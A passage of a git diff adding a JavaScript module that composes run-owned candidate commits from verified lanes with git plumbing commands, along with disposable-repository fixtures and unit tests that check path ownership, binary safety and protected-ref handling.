+= 1) { + const record = records.records[i]; + denyDeltaPolicy(record, pathLabel); + if (appliedPaths.has(record.path)) deny('conflict_unresolved', pathLabel); + if (pathOwned(record.path, siblingScopes)) deny('path_ownership_denied', pathLabel); + if (!pathOwned(record.path, lane.compiled_write_scope)) deny('path_ownership_denied', pathLabel); + } +} + +function indexInfoBytes(records) { + const chunks = []; + for (let i = 0; i < records.length; i += 1) { + const record = records[i]; + const mode = record.new_mode === MODE_MISSING ? MODE_MISSING : record.new_mode; + const sha = record.new_mode === MODE_MISSING ? ZERO_SHA : record.new_sha; + chunks.push(BUFFER_FROM(`${mode} ${sha}\t${record.path}\0`, 'utf8')); + } + return BUFFER_CONCAT(chunks); +} + +async function currentRefSha(session, repositoryPath, ref, pathLabel) { + const symbolic = await runGit( + session, repoArgs(repositoryPath, ['symbolic-ref', '--quiet', '--end-of-options', ref]), pathLabel, + ); + if (symbolic.exit_code === 0) deny('protected_ref_write_denied', pathLabel); + const parsed = await runGit( + session, repoArgs(repositoryPath, ['rev-parse', '--verify', '--end-of-options', ref]), pathLabel, + ); + if (parsed.exit_code !== 0) return null; + const sha = oneLine(parsed.stdout, pathLabel, /^[0-9a-f]{40}$/u); + if (!isSha40(sha)) deny('git_execution_failed', pathLabel); + return sha; +} + +async function parentCountOf(session, repositoryPath, sha, pathLabel) { + const result = await runGit( + session, repoArgs(repositoryPath, ['rev-list', '--parents', '--max-count=1', sha]), pathLabel, + ); + if (result.exit_code !== 0) deny('git_execution_failed', pathLabel); + const line = oneLine(result.stdout, pathLabel); + const parts = line.split(' '); + if (parts[0] !== sha) deny('git_execution_failed', pathLabel); + return parts.length - 1; +} + +function emitFact(kind, method, request, status, payload, sequence, durationMs) { + const factId = kind === 'git_diff' ? 'git-diff' : 'git-identity'; + return parseVerifiedFactV1({ + fact_id: factId, + fact_kind: kind, + status, + code: 'host_observed', + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + sequence, + subject: kind === 'git_diff' ? 'diff' : 'candidate', + authority: 'platform_git', + method, + input_digest: digestOf({ + run_id: request.identity.run_id, base_sha: request.identity.base_sha, + }), + output_digest: digestOf(payload), + exit_code: status === 'verified' ? 0 : 1, + duration_ms: durationMs > MAX_DURATION_MS ? MAX_DURATION_MS : durationMs, + truncated: false, + payload, + artifact_digests: [], + }); +} + +function emitDiscrepancy(id, request, factIds, sequence) { + return parseEvidenceDiscrepancyV1({ + discrepancy_id: id, + discrepancy_kind: id === 'conflict' ? 'integrity' : 'security', + status: 'recorded', + code: id === 'conflict' ? 'claim_fact_mismatch' : 'security_boundary', + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + sequence, + claim_ids: [], + fact_ids: factIds, + artifact_digests: [], + }); +} + +function durationOf(session) { + return MATH_MAX(0, MATH_FLOOR(Date.now() - session.startedAt)); +} + +function bindAuthority(request) { + parseGitAuthorityPolicyV1(GIT_AUTHORITY_POLICY_V1); + const identity = bindAuthorityIdentityV1({ + repository_path: request.identity.repository_path, + base_sha: request.identity.base_sha, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + }); + denyWorkerRemoteMutation('compose_candidate_non_authoritative'); + const candidateRef = request.candidate_ref; + if (!isRunOwnedCandidateRefV1(candidateRef, request.identity.run_id)) { + deny('protected_ref_write_denied', 'compose.candidate_ref'); + } + if (!candidateRef.startsWith(CANDIDATE_REF_NAMESPACE) + || !candidateRef.endsWith(`/${CANDIDATE_REF_LEAF}`)) { + deny('protected_ref_write_denied', 'compose.candidate_ref'); + } + const verdict = classifyGitOperationV1({ + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + actor: ACTOR_VALUES[1], + operation: 'compose_candidate_non_authoritative', + identity: { + repository_path: request.identity.repository_path, + base_sha: request.identity.base_sha, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + }, + ref: candidateRef, + history: { parent_counts: [1] }, + }); + if (verdict.verdict !== 'allowed' || verdict.ref_class !== 'platform_run_owned') { + deny(verdict.code === 'protected_ref_write_denied' + ? 'protected_ref_write_denied' + : 'remote_mutation_denied', 'compose.ref'); + } + return candidateRef; +} + +function siblingScopesOf(lanes, assignmentId) { + const compiled = []; + for (let i = 0; i < lanes.length; i += 1) { + const lane = lanes[i]; + if (lane.assignment_id === assignmentId || lane.kind !== 'required_writer') continue; + for (let j = 0; j < lane.compiled_write_scope.length; j += 1) { + compiled.push(lane.compiled_write_scope[j]); + } + } + return compiled; +} + +function receiptOf(request, values) { + return freezeData(freezeRecord(RECEIPT_KEYS, { + schema: RUN_CANDIDATE_COMPOSER_RECEIPT_SCHEMA_ID, + version: RUN_CANDIDATE_COMPOSER_VERSION, + status: values.status, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + base_sha: request.identity.base_sha, + candidate_ref: request.candidate_ref, + candidate_sha: values.candidate_sha, + parent_sha: values.parent_sha, + parent_count: values.parent_count, + applied_assignment_ids: capturedFreeze(values.applied_assignment_ids), + blocked_assignment_ids: capturedFreeze(values.blocked_assignment_ids), + lanes: capturedFreeze(values.lanes), + allow_diagnostic_partial_candidate: request.allow_diagnostic_partial_candidate, + incomplete: values.status === 'incomplete_candidate', + ready_for_codex_review: false, + idempotent: values.idempotent === true, + checks: COMPOSER_CHECKS, + side_effects: emptySideEffects(), + facts: capturedFreeze(values.facts), + discrepancies: capturedFreeze(values.discrepancies), + })); +} + +async function auditAfter(request, options, session) { + return options.auditProtectedRefs({ + schema: 'codex-co-engineer.protected-ref-audit.v1', + version: 1, + identity: { + repository_path: request.identity.repository_path, + base_sha: request.identity.base_sha, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + }, + expected_refs: request.expected_protected_refs.map((entry) => ({ + ref: entry.ref, sha: entry.sha, + })), + }, { spawn: session.spawn }); +} + +export async function composeRunOwnedCandidateV1(input, options) { + const request = parseRunCandidateComposeRequestV1(input); + const parsedOptions = parseOptions(options); + bindAuthority(request); + const classified = classifyLanes(request.lanes); + const durationPlaceholder = 0; + if (classified.blocked.length > 0 && request.allow_diagnostic_partial_candidate !== true) { + return receiptOf(request, { + status: 'blocked', + candidate_sha: null, + parent_sha: request.identity.base_sha, + parent_count: 0, + applied_assignment_ids: [], + blocked_assignment_ids: classified.blocked, + lanes: classified.results, + idempotent: false, + facts: [ + emitFact('git_identity', 'ancestry_check', request, 'failed', { + base_sha: request.identity.base_sha, head_sha: request.identity.base_sha, + }, 0, durationPlaceholder), + ], + discrepancies: [emitDiscrepancy('required-lane', request, ['git-identity'], 1)], + }); + } + if (classified.applied.length === 0) { + return receiptOf(request, { + status: request.allow_diagnostic_partial_candidate === true + ? 'incomplete_candidate' : 'blocked', + candidate_sha: null, + parent_sha: request.identity.base_sha, + parent_count: 0, + applied_assignment_ids: [], + blocked_assignment_ids: classified.blocked, + lanes: classified.results, + idempotent: false, + facts: [ + emitFact('git_identity', 'ancestry_check', request, 'failed', { + base_sha: request.identity.base_sha, head_sha: request.identity.base_sha, + }, 0, durationPlaceholder), + ], + discrepancies: [emitDiscrepancy('incomplete-candidate', request, ['git-identity'], 1)], + }); + } + + const session = createSession(parsedOptions.spawn); + const repositoryPath = request.identity.repository_path; + await assertCommit(session, repositoryPath, request.identity.base_sha, 'compose.base_sha'); + const appliedPaths = new SET_CTOR(); + const appliedIds = []; + const laneResults = classified.results.map((entry) => ({ ...entry })); + const indexRoot = await mkdtemp(PATH_JOIN(tmpdir(), 'cce-p35-index-')); + const indexPath = PATH_JOIN(indexRoot, 'index'); + try { + const env = indexEnv(indexPath); + const readTree = await runGit( + session, + repoArgs(repositoryPath, ['read-tree', '--reset', '--', request.identity.base_sha]), + 'compose.read-tree', + { env }, + ); + if (readTree.exit_code !== 0) deny('git_execution_failed', 'compose.read-tree'); + + for (let i = 0; i < classified.applied.length; i += 1) { + const lane = classified.applied[i]; + await assertCommit(session, repositoryPath, lane.head_sha, 'compose.lane'); + await assertAncestor( + session, repositoryPath, request.identity.base_sha, lane.head_sha, 'compose.lane', + ); + const diff = await observeDiff( + session, repositoryPath, request.identity.base_sha, lane.head_sha, 'compose.diff', + ); + revalidateRecords( + diff, lane, appliedPaths, siblingScopesOf(request.lanes, lane.assignment_id), 'compose.diff', + ); + if (diff.records.length > 0) { + const update = await runGit( + session, + repoArgs(repositoryPath, ['update-index', '--add', '--remove', '-z', '--index-info']), + 'compose.update-index', + { env, stdin: indexInfoBytes(diff.records) }, + ); + if (update.exit_code !== 0) deny('conflict_unresolved', 'compose.update-index'); + } + for (let p = 0; p < diff.paths.length; p += 1) appliedPaths.add(diff.paths[p]); + appliedIds.push(lane.assignment_id); + for (let r = 0; r < laneResults.length; r += 1) { + if (laneResults[r].assignment_id === lane.assignment_id) { + laneResults[r].applied = true; + laneResults[r].path_count = diff.paths.length; + } + } + } + + const treeResult = await runGit( + session, repoArgs(repositoryPath, ['write-tree']), 'compose.write-tree', { env }, + ); + if (treeResult.exit_code !== 0) deny('git_execution_failed', 'compose.write-tree'); + const treeSha = oneLine(treeResult.stdout, 'compose.write-tree', /^[0-9a-f]{40}$/u); + const commitResult = await runGit( + session, + repoArgs(repositoryPath, [ + 'commit-tree', treeSha, '-p', request.identity.base_sha, '-m', CANDIDATE_COMMIT_MESSAGE, + ]), + 'compose.commit-tree', + { env: commitEnv() }, + ); + if (commitResult.exit_code !== 0) deny('git_execution_failed', 'compose.commit-tree'); + const candidateSha = oneLine(commitResult.stdout, 'compose.commit-tree', /^[0-9a-f]{40}$/u); + const parents = await parentCountOf(session, repositoryPath, candidateSha, 'compose.parents'); + if (parents !== 1) deny('git_execution_failed', 'compose.parents'); + const existing = await currentRefSha(session, repositoryPath, request.candidate_ref, 'compose.ref'); + const idempotent = existing === candidateSha; + if (existing !== candidateSha) { + const updateRef = await runGit( + session, + repoArgs(repositoryPath, [ + 'update-ref', '--no-deref', '--', request.candidate_ref, candidateSha, + ]), + 'compose.update-ref', + { env: commitEnv() }, + ); + if (updateRef.exit_code !== 0) deny('git_execution_failed', 'compose.update-ref'); + } + const confirm = await currentRefSha(session, repositoryPath, request.candidate_ref, 'compose.ref'); + if (confirm !== candidateSha) deny('git_execution_failed', 'compose.ref'); + const audit = await auditAfter(request, parsedOptions, session); + if (audit.status !== 'verified') deny('protected_ref_write_denied', 'compose.audit'); + + const durationMs = durationOf(session); + const paths = [...appliedPaths].sort(); + const pathDigest = digestOf(paths); + if (!capturedTest(SHA256_PATTERN, pathDigest)) deny('git_execution_failed', 'compose.diff'); + const status = classified.blocked.length > 0 ? 'incomplete_candidate' : 'composed'; + const frozenLanes = laneResults.map((entry) => freezeRecord(LANE_RESULT_KEYS, entry)); + return receiptOf(request, { + status, + candidate_sha: candidateSha, + parent_sha: request.identity.base_sha, + parent_count: 1, + applied_assignment_ids: appliedIds, + blocked_assignment_ids: classified.blocked, + lanes: frozenLanes, + idempotent, + facts: [ + emitFact('git_identity', 'ancestry_check', request, 'verified', { + base_sha: request.identity.base_sha, head_sha: candidateSha, + }, 0, durationMs), + emitFact('git_diff', 'scope_match', request, 'verified', { + path_count: paths.length, path_set_digest: pathDigest, + }, 1, durationMs), + ], + discrepancies: status === 'incomplete_candidate' + ? [emitDiscrepancy('incomplete-candidate', request, ['git-identity'], 2)] + : [], + }); + } finally { + await rm(indexRoot, { recursive: true, force: true }).catch(() => {}); + } +} + +export function describeRunCandidateComposerV1() { + return freezeData(capturedFreeze({ + schema: RUN_CANDIDATE_COMPOSER_SCHEMA_ID, + version: RUN_CANDIDATE_COMPOSER_VERSION, + receipt_schema: RUN_CANDIDATE_COMPOSER_RECEIPT_SCHEMA_ID, + rule: 'frozen_verified_child_deltas_binary_safe_manifest_order', + api: capturedFreeze([ + 'composeRunOwnedCandidateV1', 'describeRunCandidateComposerV1', + 'parseRunCandidateComposeRequestV1', + ]), + statuses: COMPOSER_STATUSES, + lane_states: LANE_STATES, + checks: COMPOSER_CHECKS, + error_codes: RUN_CANDIDATE_COMPOSER_ERROR_CODES, + side_effect_nonclaims: COMPOSER_SIDE_EFFECT_NONCLAIMS, + candidate_ref_namespace: CANDIDATE_REF_NAMESPACE, + candidate_ref_leaf: CANDIDATE_REF_LEAF, + max_lanes: MAX_COMPOSER_LANES, + conflict_repair: false, + ready_for_codex_review: false, + remote_mutated: false, + gate_a_claimed: false, + imports_server: false, + imports_supervisor: false, + imports_runtime: false, + imports_scheduler: false, + imports_provider: false, + composed_surfaces: capturedFreeze({ + git_authority: GIT_AUTHORITY_SCHEMA_ID, + protected_ref_audit: 'codex-co-engineer.protected-ref-audit.v1', + evidence_bundle: 'codex-co-engineer.evidence-bundle.v1', + }), + })); +} + +capturedFreeze(parseRunCandidateComposeRequestV1); +capturedFreeze(composeRunOwnedCandidateV1); +capturedFreeze(describeRunCandidateComposerV1); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-candidate-composer-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-candidate-composer-fixtures.mjs new file mode 100644 index 0000000..e0e16f8 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-candidate-composer-fixtures.mjs @@ -0,0 +1,314 @@ +// Disposable repository fixtures for P35 run-owned candidate composition. +// Construction uses argv git only. Disposable repositories never attach +// remotes, credentials, or push URLs. Tests own the assertions. + +import { spawnSync } from 'node:child_process'; +import { chmod, mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + CONSTRAINED_VERIFICATION_SCHEMA_ID, + CONSTRAINED_VERIFICATION_VERSION, +} from '../../mcp/v3/constrained-verification-runner.mjs'; +import { + expectedCandidateRefV1, +} from '../../mcp/v3/git-authority.mjs'; +import { + RUN_API_BOUNDARY_SCHEMA_ID, + RUN_API_BOUNDARY_VERSION, +} from '../../mcp/v3/run-api-boundary.mjs'; +import { + RUN_CANDIDATE_COMPOSER_SCHEMA_ID, + RUN_CANDIDATE_COMPOSER_VERSION, +} from '../../mcp/v3/run-candidate-composer.mjs'; +import { + RUN_COMBINED_VERIFIER_SCHEMA_ID, + RUN_COMBINED_VERIFIER_VERSION, +} from '../../mcp/v3/run-combined-verifier.mjs'; +import { + ASSIGNMENT_ID as API_ASSIGNMENT_ID, + BASE_SHA as API_BASE_SHA, + RUN_ID as API_RUN_ID, + validLane, + validOrchestration, +} from './r1-run-api-boundary-fixtures.mjs'; + +export const RUN_ID = 'run-candidate-01'; +export const ASSIGNMENT_A = 'lane-writer-a'; +export const ASSIGNMENT_B = 'lane-writer-b'; +export const ASSIGNMENT_VERIFY = 'lane-verify'; +export const MAIN_REF = 'refs/heads/main'; +export const HOSTILE_SECRET = 'sk-live-do-not-leak'; +export const HOSTILE_PATH = '/tmp/secret-repo-do-not-leak'; +export const HOSTILE_TOKEN = 'github_pat_hostiletoken'; +export const BINARY_BYTES = Buffer.from([0x00, 0x01, 0xff, 0xfe, 0x00, 0x61]); + +export const GIT_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + HOME: '/tmp', + LANG: 'C', + LC_ALL: 'C', + TZ: 'UTC', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_TERMINAL_PROMPT: '0', + GIT_OPTIONAL_LOCKS: '0', + GIT_AUTHOR_NAME: 'p35', + GIT_AUTHOR_EMAIL: 'p35@example.test', + GIT_COMMITTER_NAME: 'p35', + GIT_COMMITTER_EMAIL: 'p35@example.test', + GIT_AUTHOR_DATE: '2020-01-01T00:00:00Z', + GIT_COMMITTER_DATE: '2020-01-01T00:00:00Z', +}); + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} + +export function git(cwd, args, env = GIT_ENV) { + const result = spawnSync('/usr/bin/git', [ + '-c', 'init.defaultBranch=main', + '-c', 'user.name=p35', + '-c', 'user.email=p35@example.test', + ...args, + ], { cwd, encoding: 'buffer', env }); + if (result.status !== 0) { + const error = new Error('disposable git command failed'); + error.code = 'git_fixture_failed'; + error.stderr = result.stderr?.toString('utf8'); + error.stdout = result.stdout?.toString('utf8'); + throw error; + } + return result.stdout.toString('utf8').trim(); +} + +export async function cleanupRepo(root) { + await rm(root, { recursive: true, force: true }); +} + +function wrap(root, fields) { + return { + path: root, + ...fields, + cleanup: () => cleanupRepo(root), + }; +} + +export async function createBaseRepo(prefix = 'p35-compose-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + git(root, ['init', '--initial-branch=main']); + await mkdir(path.join(root, 'src'), { recursive: true }); + await mkdir(path.join(root, 'docs'), { recursive: true }); + await writeFile(path.join(root, 'src/keep.txt'), 'keep-src\n', 'utf8'); + await writeFile(path.join(root, 'docs/keep.txt'), 'keep-docs\n', 'utf8'); + git(root, ['add', '--', 'src/keep.txt', 'docs/keep.txt']); + git(root, ['commit', '-m', 'base']); + const baseSha = git(root, ['rev-parse', 'HEAD']); + return wrap(root, { baseSha, headSha: baseSha, mainRef: MAIN_REF }); +} + +export async function addWriterCommit(repo, { + assignmentId, + relativePath, + contents, + binary = false, +} = {}) { + const branch = `lane-${assignmentId}`; + git(repo.path, ['checkout', '-B', branch, repo.baseSha]); + const abs = path.join(repo.path, relativePath); + await mkdir(path.dirname(abs), { recursive: true }); + if (binary) await writeFile(abs, contents); + else await writeFile(abs, contents, 'utf8'); + git(repo.path, ['add', '--', relativePath]); + git(repo.path, ['commit', '-m', `delta-${assignmentId}`]); + const headSha = git(repo.path, ['rev-parse', 'HEAD']); + git(repo.path, ['checkout', '--detach', repo.baseSha]); + git(repo.path, ['checkout', '-B', 'main', repo.baseSha]); + return headSha; +} + +export async function addSymlinkWriter(repo, assignmentId = ASSIGNMENT_A) { + const branch = `lane-${assignmentId}`; + git(repo.path, ['checkout', '-B', branch, repo.baseSha]); + await symlink('keep.txt', path.join(repo.path, 'src/link')); + git(repo.path, ['add', '--', 'src/link']); + git(repo.path, ['commit', '-m', 'symlink']); + const headSha = git(repo.path, ['rev-parse', 'HEAD']); + git(repo.path, ['checkout', '-B', 'main', repo.baseSha]); + return headSha; +} + +export async function addRenameWriter(repo, assignmentId = ASSIGNMENT_A) { + const branch = `lane-${assignmentId}`; + git(repo.path, ['checkout', '-B', branch, repo.baseSha]); + git(repo.path, ['mv', '--', 'src/keep.txt', 'src/renamed.txt']); + git(repo.path, ['commit', '-m', 'rename']); + const headSha = git(repo.path, ['rev-parse', 'HEAD']); + git(repo.path, ['checkout', '-B', 'main', repo.baseSha]); + return headSha; +} + +export async function addModeChangeWriter(repo, assignmentId = ASSIGNMENT_A) { + const branch = `lane-${assignmentId}`; + git(repo.path, ['checkout', '-B', branch, repo.baseSha]); + await chmod(path.join(repo.path, 'src/keep.txt'), 0o755); + git(repo.path, ['add', '--', 'src/keep.txt']); + git(repo.path, ['commit', '-m', 'mode']); + const headSha = git(repo.path, ['rev-parse', 'HEAD']); + git(repo.path, ['checkout', '-B', 'main', repo.baseSha]); + return headSha; +} + +export function writerLane(assignmentId, writeScope, state, headSha = null) { + const lane = { + assignment_id: assignmentId, + role: 'implement', + access: 'writer', + write_scope: [...writeScope], + state, + }; + if (headSha !== null) lane.head_sha = headSha; + return lane; +} + +export function verifyLane(state = 'verified') { + return { + assignment_id: ASSIGNMENT_VERIFY, + role: 'verify', + access: 'read_only', + write_scope: [], + state, + }; +} + +export function composeRequest(repo, lanes, overrides = {}) { + const request = { + schema: RUN_CANDIDATE_COMPOSER_SCHEMA_ID, + version: RUN_CANDIDATE_COMPOSER_VERSION, + identity: { + repository_path: repo.path, + base_sha: repo.baseSha, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + }, + expected_base_ref: MAIN_REF, + expected_protected_refs: [{ ref: MAIN_REF, sha: repo.baseSha }], + lanes, + ...overrides, + }; + if (overrides.identity) request.identity = { ...request.identity, ...overrides.identity }; + return request; +} + +export function candidateRef() { + return expectedCandidateRefV1({ run_id: RUN_ID }); +} + +export function inspectRepo(repo) { + const head = git(repo.path, ['rev-parse', 'HEAD']); + const main = git(repo.path, ['rev-parse', MAIN_REF]); + const remotes = git(repo.path, ['remote']); + let candidate = null; + try { + candidate = git(repo.path, ['rev-parse', '--verify', '--end-of-options', candidateRef()]); + } catch { + candidate = null; + } + return { head, main, remotes, candidate }; +} + +export function parentsOf(repo, sha) { + const line = git(repo.path, ['rev-list', '--parents', '--max-count=1', sha]); + return line.split(' ').slice(1); +} + +export function fileAt(repo, sha, relativePath) { + return spawnSync('/usr/bin/git', ['-C', repo.path, 'show', `${sha}:${relativePath}`], { + encoding: 'buffer', env: GIT_ENV, + }).stdout; +} + +export function verificationStub(outcome = 'pass') { + return { + schema: CONSTRAINED_VERIFICATION_SCHEMA_ID, + version: CONSTRAINED_VERIFICATION_VERSION, + command_id: 'unit-tests', + outcome: { result: outcome, exit_code: outcome === 'pass' ? 0 : 1 }, + candidate_audit: { unchanged: true }, + facts: [], + }; +} + +export async function executeVerificationStub() { + return verificationStub(); +} + +export function boundOrchestration(repo) { + const raw = validOrchestration({ + lanes: [validLane({ assignment_id: ASSIGNMENT_A })], + }); + return JSON.parse(JSON.stringify(raw) + .replaceAll(API_RUN_ID, RUN_ID) + .replaceAll(API_ASSIGNMENT_ID, ASSIGNMENT_A) + .replaceAll(API_BASE_SHA, repo.baseSha)); +} + +export function verifyRequest(repo, composition, overrides = {}) { + const orchestration = boundOrchestration(repo); + return { + schema: RUN_COMBINED_VERIFIER_SCHEMA_ID, + version: RUN_COMBINED_VERIFIER_VERSION, + identity: { + repository_path: repo.path, + base_sha: repo.baseSha, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + provider: 'grok', + }, + expected_base_ref: MAIN_REF, + expected_protected_refs: [{ ref: MAIN_REF, sha: repo.baseSha }], + composition, + orchestration, + verification: { + candidate: { + repository: { path: repo.path, base_sha: repo.baseSha }, + expected_base_sha: repo.baseSha, + expected_head_sha: composition.candidate_sha, + }, + intent: { command_id: 'unit-tests' }, + policy: { schema: 'codex-co-engineer.verification-policy.v1' }, + }, + ...overrides, + }; +} + +export { RUN_API_BOUNDARY_SCHEMA_ID, RUN_API_BOUNDARY_VERSION }; diff --git a/plugins/codex-co-engineer/test/r1-run-candidate-composer.test.mjs b/plugins/codex-co-engineer/test/r1-run-candidate-composer.test.mjs new file mode 100644 index 0000000..191b420 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-candidate-composer.test.mjs @@ -0,0 +1,268 @@ +// P35 run-owned candidate composer focused coverage: binary-safe manifest +// order, one-parent candidate ref, blocked/incomplete states, restart +// idempotency, and denied remote mutation. + +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { expectedCandidateRefV1 } from '../mcp/v3/git-authority.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CANDIDATE_COMMIT_MESSAGE, + COMPOSER_STATUSES, + RUN_CANDIDATE_COMPOSER_SCHEMA_ID, + RUN_CANDIDATE_COMPOSER_VERSION, + composeRunOwnedCandidateV1, + describeRunCandidateComposerV1, + parseRunCandidateComposeRequestV1, +} from '../mcp/v3/run-candidate-composer.mjs'; +import { + ASSIGNMENT_A, + ASSIGNMENT_B, + BINARY_BYTES, + RUN_ID, + addModeChangeWriter, + addRenameWriter, + addSymlinkWriter, + addWriterCommit, + candidateRef, + composeRequest, + createBaseRepo, + fileAt, + git, + inspectRepo, + parentsOf, + verifyLane, + writerLane, +} from './fixtures/r1-run-candidate-composer-fixtures.mjs'; + +const MODULE_PATH = fileURLToPath(new URL('../mcp/v3/run-candidate-composer.mjs', import.meta.url)); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value)); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +test('createRunCandidateComposer schema is additive v1 and never ready', () => { + assert.equal(RUN_CANDIDATE_COMPOSER_SCHEMA_ID, 'codex-co-engineer.run-candidate-composer.v1'); + assert.equal(RUN_CANDIDATE_COMPOSER_VERSION, 1); + const inventory = describeRunCandidateComposerV1(); + assert.equal(inventory.conflict_repair, false); + assert.equal(inventory.ready_for_codex_review, false); + assert.equal(inventory.remote_mutated, false); + assert.equal(inventory.gate_a_claimed, false); + assert.equal(inventory.imports_server, false); + assert.deepEqual([...inventory.statuses], [...COMPOSER_STATUSES]); + assert.equal( + inventory.candidate_ref_namespace + '/' + inventory.candidate_ref_leaf, + 'refs/codex-co-engineer/runs//candidate', + ); +}); + +test('P35 composer source does not import server, supervisor, runtime, or scheduler', async () => { + const source = await readFile(MODULE_PATH, 'utf8'); + for (const forbidden of [ + 'run-runtime.mjs', 'run-scheduler.mjs', 'server.mjs', 'supervisor.mjs', + 'mailbox.mjs', 'acp-worker.mjs', 'process-boundary.mjs', 'provider-registry.mjs', + 'run-artifact-bridge.mjs', 'run-orchestration.mjs', + ]) { + assert.equal(source.includes(`from './${forbidden}'`), false, forbidden); + } +}); + +test('two verified writers compose in manifest order onto a one-parent candidate', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headB = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_B, relativePath: 'docs/b.md', contents: 'from-b\n', + }); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'from-a\n', + }); + const before = inspectRepo(repo); + const receipt = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_B, ['docs/**'], 'verified', headB), + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + verifyLane(), + ])); + assertFrozenTree(receipt); + assert.equal(receipt.status, 'composed'); + assert.equal(receipt.ready_for_codex_review, false); + assert.equal(receipt.parent_count, 1); + assert.equal(receipt.parent_sha, repo.baseSha); + assert.equal(receipt.candidate_ref, expectedCandidateRefV1({ run_id: RUN_ID })); + assert.deepEqual([...receipt.applied_assignment_ids], [ASSIGNMENT_B, ASSIGNMENT_A]); + assert.equal(parentsOf(repo, receipt.candidate_sha).join(' '), repo.baseSha); + assert.equal(fileAt(repo, receipt.candidate_sha, 'docs/b.md').toString('utf8'), 'from-b\n'); + assert.equal(fileAt(repo, receipt.candidate_sha, 'src/a.js').toString('utf8'), 'from-a\n'); + const after = inspectRepo(repo); + assert.equal(after.head, before.head); + assert.equal(after.main, repo.baseSha); + assert.equal(after.remotes, ''); + assert.equal(after.candidate, receipt.candidate_sha); + assert.equal(git(repo.path, ['log', '-1', '--format=%s', receipt.candidate_sha]), CANDIDATE_COMMIT_MESSAGE); +}); + +test('binary bytes survive composition without text recoding', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, + relativePath: 'src/data.bin', + contents: BINARY_BYTES, + binary: true, + }); + const receipt = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ])); + assert.equal(receipt.status, 'composed'); + assert.deepEqual(fileAt(repo, receipt.candidate_sha, 'src/data.bin'), BINARY_BYTES); +}); + +test('required missing rejected or unresolved writers block without writing a ref', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + for (const state of ['missing', 'rejected', 'unresolved']) { + const receipt = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + writerLane(ASSIGNMENT_B, ['docs/**'], state), + ])); + assert.equal(receipt.status, 'blocked'); + assert.equal(receipt.candidate_sha, null); + assert.equal(receipt.ready_for_codex_review, false); + assert.equal(inspectRepo(repo).candidate, null); + assert.deepEqual([...receipt.blocked_assignment_ids], [ASSIGNMENT_B]); + } +}); + +test('diagnostic partial composes verified writers as incomplete_candidate', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const receipt = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + writerLane(ASSIGNMENT_B, ['docs/**'], 'unresolved'), + ], { allow_diagnostic_partial_candidate: true })); + assert.equal(receipt.status, 'incomplete_candidate'); + assert.equal(receipt.incomplete, true); + assert.equal(receipt.ready_for_codex_review, false); + assert.equal(receipt.applied_assignment_ids[0], ASSIGNMENT_A); + assert.equal(inspectRepo(repo).candidate, receipt.candidate_sha); +}); + +test('optional advisory lanes do not block a complete candidate', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { 